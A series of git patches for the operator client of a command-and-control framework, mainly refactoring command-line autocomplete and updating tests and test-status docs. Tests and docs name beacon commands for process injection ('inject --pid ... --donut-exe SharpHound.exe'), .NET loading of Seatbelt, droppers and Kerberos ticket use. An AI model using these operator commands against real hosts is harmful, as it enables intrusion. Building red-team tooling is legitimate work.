has_children=option.has_children, + ) + for option in options + ] + + def _completion_suffix(command_name: Any, example: Any): command_name = str(command_name or "").strip() example = str(example or "").strip() @@ -1355,9 +1391,7 @@ def quit(self) -> None: self.exit = True -class CommandEditor(QLineEdit): - tabPressed = pyqtSignal() - +class CommandEditor(CompletionInput): def __init__( self, parent: QWidget | None = None, @@ -1365,111 +1399,61 @@ def __init__( beaconHash: str = "", listenerHash: str = "", ) -> None: - super().__init__(parent) + completion_provider = CommandCompletionProvider(grpcClient, beaconHash, listenerHash) + super().__init__( + parent, + completion_data=completion_provider.build(force=True), + completion_provider=completion_provider.build, + refresh_on_focus=True, + ) self.cmdHistory: list[str] = [] self.idx: int = 0 - self.completionProvider = CommandCompletionProvider(grpcClient, beaconHash, listenerHash) + self.completionProvider = completion_provider if os.path.isfile(CmdHistoryFileName): - with open(CmdHistoryFileName) as cmdHistoryFile: + with open(CmdHistoryFileName, encoding="utf-8") as cmdHistoryFile: self.cmdHistory = cmdHistoryFile.readlines() self.idx = len(self.cmdHistory) - 1 - QShortcut(Qt.Key.Key_Up, self, self.historyUp) - QShortcut(Qt.Key.Key_Down, self, self.historyDown) - - self.completionData = self.completionProvider.build(force=True) - self.codeCompleter = CodeCompleter(self.completionData, self) - # needed to clear the completer after activation - self.codeCompleter.activated.connect(self.onActivated) - self.setCompleter(self.codeCompleter) - self.tabPressed.connect(self.nextCompletion) + QShortcut(Qt.Key.Key_Up, self.lineEdit, self.historyUp) + QShortcut(Qt.Key.Key_Down, self.lineEdit, self.historyDown) def refreshCompleter(self, force: bool = False): completionData = self.completionProvider.build(force=force) if completionData != self.completionData: self.completionData = completionData - self.codeCompleter.updateData(completionData) + self.hideCompletionPopup() def nextCompletion(self): - self.refreshCompleter() - index = self.codeCompleter.currentIndex() - self.codeCompleter.popup().setCurrentIndex(index) - start = self.codeCompleter.currentRow() - if not self.codeCompleter.setCurrentRow(start + 1): - self.codeCompleter.setCurrentRow(0) + if not self.dropdown.isVisible(): + self.refreshCompleter() + super().nextCompletion() - def event(self, event): - if event.type() == QEvent.Type.KeyPress and event.key() == Qt.Key.Key_Tab: - self.tabPressed.emit() - return True - return super().event(event) + def previousCompletion(self): + if not self.dropdown.isVisible(): + self.refreshCompleter() + super().previousCompletion() + + def buildCompletionOptions(self) -> list[CompletionOption]: + return console_completion_options(self.completionData, self.completionPrefix()) def historyUp(self): - if(self.idx=0): - cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] - self.idx=max(self.idx-1,0) + if self.idx < len(self.cmdHistory) and self.idx >= 0: + cmd = self.cmdHistory[self.idx % len(self.cmdHistory)] + self.idx = max(self.idx - 1, 0) self.setText(cmd.strip()) def historyDown(self): - if(self.idx=0): - self.idx=min(self.idx+1,len(self.cmdHistory)-1) - cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] + if self.idx < len(self.cmdHistory) and self.idx >= 0: + self.idx = min(self.idx + 1, len(self.cmdHistory) - 1) + cmd = self.cmdHistory[self.idx % len(self.cmdHistory)] self.setText(cmd.strip()) def setCmdHistory(self) -> None: - with open(CmdHistoryFileName) as cmdHistoryFile: + with open(CmdHistoryFileName, encoding="utf-8") as cmdHistoryFile: self.cmdHistory = cmdHistoryFile.readlines() self.idx = len(self.cmdHistory) - 1 def clearLine(self): self.clear() - - def onActivated(self): - QTimer.singleShot(0, self.clear) - - -class CodeCompleter(QCompleter): - ConcatenationRole = Qt.ItemDataRole.UserRole + 1 - - def __init__(self, data, parent=None): - super().__init__(parent) - self.placeholderValues: dict[str, str] = {} - self.createModel(data) - - def updateData(self, data): - self.createModel(data) - - def splitPath(self, path): - parts = path.split(' ') - self.placeholderValues = {} - if parts and parts[0] == "inject": - for index, part in enumerate(parts[:-1]): - if part == "--pid" and parts[index + 1]: - self.placeholderValues[PID_COMPLETION_PLACEHOLDER] = parts[index + 1] - parts[index + 1] = PID_COMPLETION_PLACEHOLDER - break - if len(parts) >= 3 and parts[0] == "dotnetExec" and parts[1] == "load" and parts[2]: - self.placeholderValues[DOTNET_LOAD_NAME_PLACEHOLDER] = parts[2] - parts[2] = DOTNET_LOAD_NAME_PLACEHOLDER - return parts - - def pathFromIndex(self, ix): - value = ix.data(CodeCompleter.ConcatenationRole) - for placeholder, replacement in self.placeholderValues.items(): - value = value.replace(placeholder, replacement) - return value - - def createModel(self, data): - def addItems(parent, elements, t=""): - for text, children in elements: - item = QStandardItem(text) - data = t + " " + text if t else text - item.setData(data, CodeCompleter.ConcatenationRole) - parent.appendRow(item) - if children: - addItems(item, children, data) - model = QStandardItemModel(self) - addItems(model, data) - self.setModel(model) diff --git a/C2Client/C2Client/ScriptPanel.py b/C2Client/C2Client/ScriptPanel.py index eb78f45..6b34cd0 100644 --- a/C2Client/C2Client/ScriptPanel.py +++ b/C2Client/C2Client/ScriptPanel.py @@ -14,7 +14,6 @@ QHBoxLayout, QHeaderView, QLabel, - QLineEdit, QPushButton, QTableWidget, QTableWidgetItem, @@ -29,6 +28,7 @@ append_console_spacing, move_editor_to_end, ) +from .autocomplete import CompletionInput from .panel_style import apply_dark_panel_style logger = logging.getLogger(__name__) @@ -102,6 +102,9 @@ "send": "OnConsoleSend", "receive": "OnConsoleReceive", } +SCRIPT_COMPLETIONS = [ + ("help", []), +] SCRIPT_NAME_ROLE = Qt.ItemDataRole.UserRole @@ -192,6 +195,7 @@ def __init__(self, parent, grpcClient): self.layout.addWidget(self.editorOutput, 5) self.commandEditor = CommandEditor() + self.commandEditor.setPlaceholderText("Hooks command") self.layout.addWidget(self.commandEditor, 2) self.commandEditor.returnPressed.connect(self.runCommand) @@ -710,17 +714,9 @@ def setCursorEditorAtEnd(self): move_editor_to_end(self.editorOutput) -class CommandEditor(QLineEdit): - tabPressed = pyqtSignal() - +class CommandEditor(CompletionInput): def __init__(self, parent=None): - super().__init__(parent) - - def event(self, event): - if event.type() == QEvent.Type.KeyPress and event.key() == Qt.Key.Key_Tab: - self.tabPressed.emit() - return True - return super().event(event) + super().__init__(parent, completion_data=SCRIPT_COMPLETIONS) def clearLine(self): self.clear() diff --git a/C2Client/C2Client/autocomplete.py b/C2Client/C2Client/autocomplete.py index 5a33b36..c0c3d09 100644 --- a/C2Client/C2Client/autocomplete.py +++ b/C2Client/C2Client/autocomplete.py @@ -247,7 +247,7 @@ def showCompletionPopup(self, _text: str | None = None, allowEmpty: bool = False self.hideCompletionPopup() return False - self._currentOptions = completion_options(self.completionData, self.text(), self.cursorPosition()) + self._currentOptions = self.buildCompletionOptions() if not self._currentOptions: self.hideCompletionPopup() return False @@ -264,6 +264,9 @@ def showCompletionPopup(self, _text: str | None = None, allowEmpty: bool = False self.dropdown.show() return True + def buildCompletionOptions(self) -> list[CompletionOption]: + return completion_options(self.completionData, self.text(), self.cursorPosition()) + def hideCompletionPopup(self) -> None: self.dropdown.hide() self.dropdown.clear() diff --git a/C2Client/TODO.md b/C2Client/TODO.md index f1ce682..a486047 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -22,7 +22,7 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 14 | [ ] | Ajouter un panneau details session | M | Fort | Vue laterale avec metadata, listeners associes, notes locales, dernieres commandes, boutons d'action contextuels. | | 15 | [x] | Ameliorer le graph | M | Moyen | Fait. Layout auto qui separe listeners/beacons/pivots, positions manuelles preservees, boutons Auto/Fit/+/- zoom, labels/tooltips, fond sombre et connecteurs recalcules. | | 16 | [ ] | Reduire la taille des artefacts `screenShot` | M | Moyen | Test reel: `desktop.bmp` genere environ 42 MB. Etudier PNG/JPEG cote module ou conversion TeamServer, option format/qualite, conservation du hash/sidecar et affichage clair dans `Artifacts`. | -| 17 | [ ] | Remplacer l'autocomplete Terminal `QCompleter` | M | Fort | En cours. Composant reusable `CompletionInput` cree et Terminal migre vers une liste integree au layout, sans popup global. Reste a reprendre le meme composant dans les consoles beacon, hooks/scripts, assistant et autres champs avec autocomplete. | +| 17 | [x] | Remplacer l'autocomplete Terminal `QCompleter` | M | Fort | Fait. `QCompleter` supprime cote client; Terminal, consoles beacon, Hooks et Assistant utilisent `CompletionInput`, une liste integree au layout avec Tab, Shift+Tab, fleches, Enter et clic. Les placeholders dynamiques console (``, ``) restent geres proprement. | | 18 | [ ] | Auditer `libSocks5` | M | Fort | Revue protocolaire et qualite d'implementation: handshake, `ATYP` supportes, erreurs SOCKS explicites, timeouts, fermeture sockets, concurrence, limites buffers, logs bruyants, tests IPv4/hostname/stress et risques de deadlock/EOF silencieux. | | 19 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | | 20 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index 8fe3114..7b0b614 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -8,14 +8,15 @@ sys.modules['grpcClient'] = grpc_client_module from C2Client.ConsolePanel import ( - CodeCompleter, CommandEditor, Console, ConsolesTab, DOTNET_LOAD_NAME_PLACEHOLDER, _load_artifacts_for_arg, build_completer_data, + console_completion_options, command_specs_to_completer_data, + normalize_console_completion_text, ) from C2Client.grpcClient import TeamServerApi_pb2 @@ -707,8 +708,8 @@ def listArtifacts(self, query): pid_first_exe_children = _completion_children(pid_value_children, "--donut-exe") assert ("--", []) in _completion_children(pid_first_exe_children, "SharpHound.exe") - completer = CodeCompleter(server_data) - assert completer.splitPath("inject --pid 4321 --donut-exe ") == [ + normalized, _placeholders = normalize_console_completion_text("inject --pid 4321 --donut-exe ") + assert normalized.split(" ") == [ "inject", "--pid", "", @@ -745,7 +746,8 @@ def listArtifacts(self, query): assert ("SharpHound.exe", []) in dotnet_name_children assert _completion_children(dotnet_name_children, "Tools/Example.dll") assert ("", []) in _completion_children(dotnet_name_children, "Tools/Example.dll") - assert CodeCompleter(server_data).splitPath("dotnetExec load seatbelt Tools/Example.dll ") == [ + normalized, _placeholders = normalize_console_completion_text("dotnetExec load seatbelt Tools/Example.dll ") + assert normalized.split(" ") == [ "dotnetExec", "load", DOTNET_LOAD_NAME_PLACEHOLDER, @@ -753,7 +755,8 @@ def listArtifacts(self, query): "", ] assert [query.name_contains for query in grpc.queries] == [".exe", ".dll"] - assert completer.splitPath("inject --donut-exe SharpHound.exe --pid 4321 ") == [ + normalized, _placeholders = normalize_console_completion_text("inject --donut-exe SharpHound.exe --pid 4321 ") + assert normalized.split(" ") == [ "inject", "--donut-exe", "SharpHound.exe", @@ -761,12 +764,9 @@ def listArtifacts(self, query): "", "", ] - model = completer.model() - inject_item = next(model.item(row) for row in range(model.rowCount()) if model.item(row).text() == "inject") - pid_item = next(inject_item.child(row) for row in range(inject_item.rowCount()) if inject_item.child(row).text() == "--pid") - pid_value_item = next(pid_item.child(row) for row in range(pid_item.rowCount()) if pid_item.child(row).text() == "") - raw_item = next(pid_value_item.child(row) for row in range(pid_value_item.rowCount()) if pid_value_item.child(row).text() == "--raw") - assert completer.pathFromIndex(raw_item.index()) == "inject --pid 4321 --raw" + options = console_completion_options(server_data, "inject --pid 4321 ") + raw_option = next(option for option in options if option.label == "--raw") + assert raw_option.full_text == "inject --pid 4321 --raw" def test_contextual_completer_uses_artifacts_listeners_and_module_specs(): @@ -883,10 +883,18 @@ def listCommands(self, query=None): monkeypatch.chdir(tmp_path) editor = CommandEditor(grpcClient=CompletionGrpc()) qtbot.addWidget(editor) + editor.show() + editor.setFocus() - assert editor.codeCompleter.setCurrentRow(0) is True editor.nextCompletion() - assert editor.codeCompleter.currentRow() == 1 + assert editor.dropdown.isVisible() + assert editor.dropdown.currentRow() == 0 editor.nextCompletion() - assert editor.codeCompleter.currentRow() == 0 + assert editor.dropdown.currentRow() == 1 + + editor.nextCompletion() + assert editor.dropdown.currentRow() == 0 + + editor.previousCompletion() + assert editor.dropdown.currentRow() == 1 From 43f993c5fb9fe32d9835aec263d38752c6ce3a15 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 09:44:08 +0200 Subject: [PATCH 70/82] autocomplete.py --- C2Client/C2Client/AssistantPanel.py | 2 +- C2Client/C2Client/ConsolePanel.py | 2 +- C2Client/C2Client/ScriptPanel.py | 2 +- C2Client/C2Client/autocomplete.py | 12 +++++++++++- 4 files changed, 14 insertions(+), 4 deletions(-) diff --git a/C2Client/C2Client/AssistantPanel.py b/C2Client/C2Client/AssistantPanel.py index 951ee4e..4f991e8 100644 --- a/C2Client/C2Client/AssistantPanel.py +++ b/C2Client/C2Client/AssistantPanel.py @@ -74,7 +74,7 @@ def __init__(self, parent, grpcClient): self.commandEditor = CommandEditor() self.commandEditor.setPlaceholderText("Ask assistant or /help") - self.layout.addWidget(self.commandEditor, 2) + self.layout.addWidget(self.commandEditor, 0) self.commandEditor.returnPressed.connect(self.runCommand) self.responseReady.connect(self._process_assistant_response) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index e53d24f..62027f9 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -983,7 +983,7 @@ def __init__(self, parent, grpcClient, beaconHash, listenerHash, hostname, usern beaconHash=self.beaconHash, listenerHash=self.listenerHash, ) - self.layout.addWidget(self.commandEditor, 2) + self.layout.addWidget(self.commandEditor, 0) self.commandEditor.returnPressed.connect(self.runCommand) # Thread to get sessions response diff --git a/C2Client/C2Client/ScriptPanel.py b/C2Client/C2Client/ScriptPanel.py index 6b34cd0..5f0caf3 100644 --- a/C2Client/C2Client/ScriptPanel.py +++ b/C2Client/C2Client/ScriptPanel.py @@ -196,7 +196,7 @@ def __init__(self, parent, grpcClient): self.commandEditor = CommandEditor() self.commandEditor.setPlaceholderText("Hooks command") - self.layout.addWidget(self.commandEditor, 2) + self.layout.addWidget(self.commandEditor, 0) self.commandEditor.returnPressed.connect(self.runCommand) self.buildAutomationStates() diff --git a/C2Client/C2Client/autocomplete.py b/C2Client/C2Client/autocomplete.py index c0c3d09..895546f 100644 --- a/C2Client/C2Client/autocomplete.py +++ b/C2Client/C2Client/autocomplete.py @@ -4,7 +4,15 @@ from typing import Callable, Iterable from PyQt6.QtCore import QEvent, Qt, QTimer, pyqtSignal -from PyQt6.QtWidgets import QAbstractItemView, QLineEdit, QListWidget, QListWidgetItem, QVBoxLayout, QWidget +from PyQt6.QtWidgets import ( + QAbstractItemView, + QLineEdit, + QListWidget, + QListWidgetItem, + QSizePolicy, + QVBoxLayout, + QWidget, +) from .console_style import CONSOLE_COLORS, console_font @@ -140,9 +148,11 @@ def __init__( self._refreshOnFocus = refresh_on_focus self._maxVisibleItems = max(1, max_visible_items) self._currentOptions: list[CompletionOption] = [] + self.setSizePolicy(QSizePolicy.Policy.Expanding, QSizePolicy.Policy.Maximum) self.lineEdit = QLineEdit(self) self.lineEdit.setFont(console_font()) + self.lineEdit.setMinimumHeight(28) self.lineEdit.installEventFilter(self) self.lineEdit.textEdited.connect(self.scheduleCompletionPopup) From 99091813192c86d37369b18f2645e0b587483182 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 11:49:38 +0200 Subject: [PATCH 71/82] autocomplete.py --- C2Client/C2Client/ConsolePanel.py | 17 +++++-- C2Client/C2Client/autocomplete.py | 45 ++++++++++++++----- C2Client/tests/test_console_panel.py | 4 ++ .../tests/test_terminal_panel_dropper_arch.py | 12 ++++- 4 files changed, 62 insertions(+), 16 deletions(-) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 62027f9..2248a03 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -108,9 +108,14 @@ def restore_console_completion_text(command_text: str, placeholder_values: dict[ return text -def console_completion_options(completion_data: list[tuple], command_text: str) -> list[CompletionOption]: +def console_completion_options( + completion_data: list[tuple], + command_text: str, + *, + descend_exact: bool = False, +) -> list[CompletionOption]: normalized_text, placeholder_values = normalize_console_completion_text(command_text) - options = completion_options(completion_data, normalized_text) + options = completion_options(completion_data, normalized_text, descend_exact=descend_exact) return [ CompletionOption( label=option.label, @@ -1435,8 +1440,12 @@ def previousCompletion(self): self.refreshCompleter() super().previousCompletion() - def buildCompletionOptions(self) -> list[CompletionOption]: - return console_completion_options(self.completionData, self.completionPrefix()) + def buildCompletionOptions(self, descend_exact: bool = False) -> list[CompletionOption]: + return console_completion_options( + self.completionData, + self.completionPrefix(), + descend_exact=descend_exact, + ) def historyUp(self): if self.idx < len(self.cmdHistory) and self.idx >= 0: diff --git a/C2Client/C2Client/autocomplete.py b/C2Client/C2Client/autocomplete.py index 895546f..f8190f7 100644 --- a/C2Client/C2Client/autocomplete.py +++ b/C2Client/C2Client/autocomplete.py @@ -94,7 +94,13 @@ def _options_for_level(entries: Iterable[tuple], prefix_parts: list[str], token: return options -def completion_options(completion_data: list[tuple], command_text: str, cursor_position: int | None = None) -> list[CompletionOption]: +def completion_options( + completion_data: list[tuple], + command_text: str, + cursor_position: int | None = None, + *, + descend_exact: bool = False, +) -> list[CompletionOption]: text = command_text if cursor_position is None else command_text[:cursor_position] if text is None: text = "" @@ -121,7 +127,7 @@ def completion_options(completion_data: list[tuple], command_text: str, cursor_p exact_entry = _find_entry(level, current_token) if exact_entry is not None: children = completion_entry_children(exact_entry) - if children: + if children and descend_exact: return _options_for_level(children, [*prefix_parts, completion_entry_insert_text(exact_entry)]) return [] @@ -229,9 +235,18 @@ def eventFilter(self, watched, event): self.nextCompletion() return True if key in (Qt.Key.Key_Return, Qt.Key.Key_Enter): - if self.dropdown.isVisible() and self.currentCompletion() is not None: - self.acceptCurrentCompletion() + current_completion = None + if self.dropdown.isVisible(): + selected_row = self.dropdown.currentRow() + self._currentOptions = self.buildCompletionOptions(descend_exact=False) + if 0 <= selected_row < len(self._currentOptions): + current_completion = self._currentOptions[selected_row] + elif self._currentOptions: + current_completion = self._currentOptions[0] + if current_completion is not None and current_completion.full_text.strip() != self.text().strip(): + self.acceptCompletion(current_completion) else: + self.hideCompletionPopup() self.returnPressed.emit() return True if key == Qt.Key.Key_Escape and self.dropdown.isVisible(): @@ -251,13 +266,18 @@ def scheduleCompletionPopup(self, _text: str | None = None) -> None: def completionPrefix(self) -> str: return self.text()[: self.cursorPosition()] - def showCompletionPopup(self, _text: str | None = None, allowEmpty: bool = False) -> bool: + def showCompletionPopup( + self, + _text: str | None = None, + allowEmpty: bool = False, + descendExact: bool = False, + ) -> bool: prefix = self.completionPrefix() if not prefix.strip() and not allowEmpty: self.hideCompletionPopup() return False - self._currentOptions = self.buildCompletionOptions() + self._currentOptions = self.buildCompletionOptions(descendExact) if not self._currentOptions: self.hideCompletionPopup() return False @@ -274,8 +294,13 @@ def showCompletionPopup(self, _text: str | None = None, allowEmpty: bool = False self.dropdown.show() return True - def buildCompletionOptions(self) -> list[CompletionOption]: - return completion_options(self.completionData, self.text(), self.cursorPosition()) + def buildCompletionOptions(self, descend_exact: bool = False) -> list[CompletionOption]: + return completion_options( + self.completionData, + self.text(), + self.cursorPosition(), + descend_exact=descend_exact, + ) def hideCompletionPopup(self) -> None: self.dropdown.hide() @@ -299,13 +324,13 @@ def moveSelection(self, step: int) -> None: def nextCompletion(self) -> None: if not self.dropdown.isVisible(): - self.showCompletionPopup(allowEmpty=True) + self.showCompletionPopup(allowEmpty=True, descendExact=True) return self.moveSelection(1) def previousCompletion(self) -> None: if not self.dropdown.isVisible(): - if self.showCompletionPopup(allowEmpty=True): + if self.showCompletionPopup(allowEmpty=True, descendExact=True): self.moveSelection(-1) return self.moveSelection(-1) diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index 7b0b614..b696468 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -768,6 +768,10 @@ def listArtifacts(self, query): raw_option = next(option for option in options if option.label == "--raw") assert raw_option.full_text == "inject --pid 4321 --raw" + assert console_completion_options([("ls", [("/tmp", [])])], "ls") == [] + explicit_ls_options = console_completion_options([("ls", [("/tmp", [])])], "ls", descend_exact=True) + assert explicit_ls_options[0].full_text == "ls /tmp" + def test_contextual_completer_uses_artifacts_listeners_and_module_specs(): class FakeGrpc: diff --git a/C2Client/tests/test_terminal_panel_dropper_arch.py b/C2Client/tests/test_terminal_panel_dropper_arch.py index 3f646c1..2e18ac8 100644 --- a/C2Client/tests/test_terminal_panel_dropper_arch.py +++ b/C2Client/tests/test_terminal_panel_dropper_arch.py @@ -318,7 +318,7 @@ def test_terminal_completer_uses_artifacts_listeners_sessions_and_dropper_module def test_terminal_host_completer_displays_artifact_label_but_inserts_safe_token(): completions = terminal_panel.build_terminal_completer_data(FakeGrpc()) - options = terminal_panel.completion_options(completions, "host") + options = terminal_panel.completion_options(completions, "host", descend_exact=True) hash_options = terminal_panel.completion_options(completions, "host artifact-123") assert options[0].label == "dropper.exe (artifact-123)" @@ -334,6 +334,14 @@ def test_terminal_completer_does_not_offer_exact_leaf_commands(): assert terminal_panel.completion_options(completions, "reloadModules") == [] +def test_terminal_completer_only_descends_exact_matches_on_explicit_completion(): + completions = [("ls", [("/tmp", [])]), ("cd", [("/tmp", [])])] + + assert terminal_panel.completion_options(completions, "ls") == [] + assert terminal_panel.completion_options(completions, "ls ")[0].full_text == "ls /tmp" + assert terminal_panel.completion_options(completions, "ls", descend_exact=True)[0].full_text == "ls /tmp" + + def test_terminal_command_editor_tab_cycles_without_static_completer_reset(tmp_path, qtbot, monkeypatch): monkeypatch.chdir(tmp_path) editor = terminal_panel.CommandEditor(grpcClient=FakeGrpc()) @@ -377,7 +385,7 @@ def test_terminal_command_editor_opens_completer_while_typing(tmp_path, qtbot, m editor.setText("host") editor.setCursorPosition(4) - assert editor.showCompletionPopup() + assert editor.showCompletionPopup(descendExact=True) assert editor.completionPrefix() == "host" assert editor.dropdown.item(0).text() == "dropper.exe (artifact-123)" assert editor.currentCompletion().full_text == "host dropper.exe(artifact-123)" From c6a115f3d56f7fd205cef543b8659662d4236b26 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 13:09:35 +0200 Subject: [PATCH 72/82] manual test --- docs/TEST_GAPS.md | 1 - docs/TEST_MATRIX.md | 2 +- docs/TEST_STATE.md | 6 +++--- docs/testing/manual-results.yaml | 6 +++--- 4 files changed, 7 insertions(+), 8 deletions(-) diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index 8649ba2..3d36dde 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -5,7 +5,6 @@ _Generated by `scripts/generate-test-state.py`._ | Final | Priority | ID | Area | Feature | Scenario | Auto | Manual | |---|---|---|---|---|---|---|---| | blocked | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | Build/release output contains WindowsBeacons/, WindowsModules, Tools, Scripts, CommandSpecs, and TeamServer data layout. | n/a | blocked | -| blocked | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | Show base help text, command history, unified colors, and terminal autocomplete. | pass | blocked | | blocked | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | Resolve fixed chisel binary from Tools for beacon arch and manage chisel start/status/stop. | pass | blocked | | blocked | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | Load COFF object from Tools and execute with packed arguments. | pass | blocked | | blocked | high | `MODULE-KERBEROSUSETICKET-CONTRACT-001` | Modules | kerberosUseTicket | Load kirbi ticket from UploadedArtifacts and apply it on Windows beacon. | pass | blocked | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index c3c065e..a4d7048 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -34,7 +34,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | high | `C2CLIENT-SESSION-PANEL-001` | C2Client | Sessions panel | client | n/a | any | n/a | pass | untested | | partial | auto+manual | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | client | n/a | https | n/a | pass | untested | | pass | auto+manual | critical | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | client | n/a | https | hosted | pass | pass | -| blocked | auto+manual | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | client | n/a | n/a | n/a | pass | blocked | +| pass | auto+manual | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | client | n/a | n/a | n/a | pass | pass | | pass | auto+manual | high | `COMMON-END-001` | CommonCommands | end | any | any | any | n/a | pass | pass | | pass | auto+manual | critical | `COMMON-HELP-001` | CommonCommands | help | any | any | any | command_specs | pass | pass | | pass | auto+manual | high | `COMMON-LISTMODULE-001` | CommonCommands | listModule | any | any | any | modules | pass | pass | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index e57a414..fccddd1 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,9 +10,9 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 82 | +| pass | 83 | | fail | 0 | -| blocked | 15 | +| blocked | 14 | | partial | 13 | | untested | 2 | | planned | 2 | @@ -32,7 +32,7 @@ _Generated by `scripts/generate-test-state.py`._ |---|---:|---:|---:|---:|---:|---:|---:| | Artifacts | 4 | 0 | 0 | 1 | 0 | 0 | 5 | | Beacon | 5 | 0 | 0 | 0 | 0 | 0 | 5 | -| C2Client | 11 | 0 | 1 | 8 | 0 | 1 | 21 | +| C2Client | 12 | 0 | 0 | 8 | 0 | 1 | 21 | | CommonCommands | 7 | 0 | 0 | 0 | 0 | 0 | 7 | | Listeners | 2 | 0 | 1 | 2 | 1 | 0 | 6 | | Modules | 39 | 0 | 12 | 0 | 0 | 1 | 52 | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index 2115cfa..407ff1d 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -754,9 +754,9 @@ results: notes: "Dropper module limitations remain outside the terminal workflow: PeInjectorSyscall injection fails without -p self, likely because the default target PID is not valid; PowershellWebDelivery does not currently work on the Windows 11 lab; other dropper modules were not tested." - id: C2CLIENT-TERMINAL-BASE-001 - status: blocked + status: pass date: "2026-05-10" build: "local-dev" tester: "max" - evidence: "Manual UI validation found the Terminal autocomplete popup is not reliable in the general case, especially after moving the UI between screens. Autocomplete data and insertion can work, but the dropdown is not consistently visible or anchored under the input field." - notes: "Keep terminal command execution and host workflow results separate. This blocks only the generic Terminal tab/autocomplete UX. TODO added to replace QCompleter with a custom dropdown integrated in the Terminal layout." + evidence: "Manual UI retest after replacing QCompleter with integrated CompletionInput: Terminal autocomplete is visible under the input, Tab descends, Shift+Tab ascends, Escape closes, help+Enter executes help, and host+Tab descends into artifacts/listeners. Beacon console retest validated ls+Enter and cd+Enter execute the bare commands, while Tab or trailing space explicitly opens argument/example suggestions. Hooks and Data AI input height and integrated autocomplete behavior were also validated." + notes: "The previous QCompleter multi-screen popup blocker is resolved. Exact command matches no longer auto-descend into examples unless completion is explicitly requested." From 9012ad17ee2e8510eb03d9c91fd67dbeb7011e18 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sun, 10 May 2026 13:37:11 +0200 Subject: [PATCH 73/82] manual test --- C2Client/C2Client/ConsolePanel.py | 10 ++++ C2Client/C2Client/GraphPanel.py | 21 ++++++-- C2Client/C2Client/ListenerPanel.py | 48 ++++++++++++++++++- C2Client/TODO.md | 25 +++++----- C2Client/tests/test_console_panel.py | 7 +++ C2Client/tests/test_graph_panel.py | 16 +++++++ C2Client/tests/test_listener_panel.py | 43 +++++++++++++++++ docs/TEST_GAPS.md | 5 -- docs/TEST_MATRIX.md | 10 ++-- docs/TEST_STATE.md | 6 +-- docs/testing/manual-results.yaml | 40 ++++++++++++++++ .../TeamServerListenerSessionService.cpp | 41 ++++++++++++++++ .../TeamServerListenerSessionServiceTests.cpp | 42 ++++++++++++++++ 13 files changed, 282 insertions(+), 32 deletions(-) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 2248a03..5646648 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -40,6 +40,7 @@ from .autocomplete import CompletionInput, CompletionOption, completion_options from .env import env_path from .grpc_status import is_response_ok, response_message +from .panel_style import apply_dark_panel_style logger = logging.getLogger(__name__) CONSOLE_EVENT_PREFIX = "[console] " @@ -928,7 +929,10 @@ class Console(QWidget): def __init__(self, parent, grpcClient, beaconHash, listenerHash, hostname, username): super(QWidget, self).__init__(parent) + apply_dark_panel_style(self) self.layout = QVBoxLayout(self) + self.layout.setContentsMargins(0, 0, 0, 0) + self.layout.setSpacing(6) self.grpcClient = grpcClient @@ -943,21 +947,27 @@ def __init__(self, parent, grpcClient, beaconHash, listenerHash, hostname, usern self.searchInput = QLineEdit() self.searchInput.setPlaceholderText("Search output") + self.searchInput.setFixedHeight(26) self.searchInput.returnPressed.connect(self.findNextSearchMatch) self.findPreviousButton = QPushButton("Prev") + self.findPreviousButton.setFixedHeight(26) self.findPreviousButton.clicked.connect( lambda _checked=False: self.findNextSearchMatch(backward=True) ) self.findNextButton = QPushButton("Next") + self.findNextButton.setFixedHeight(26) self.findNextButton.clicked.connect( lambda _checked=False: self.findNextSearchMatch() ) self.clearOutputButton = 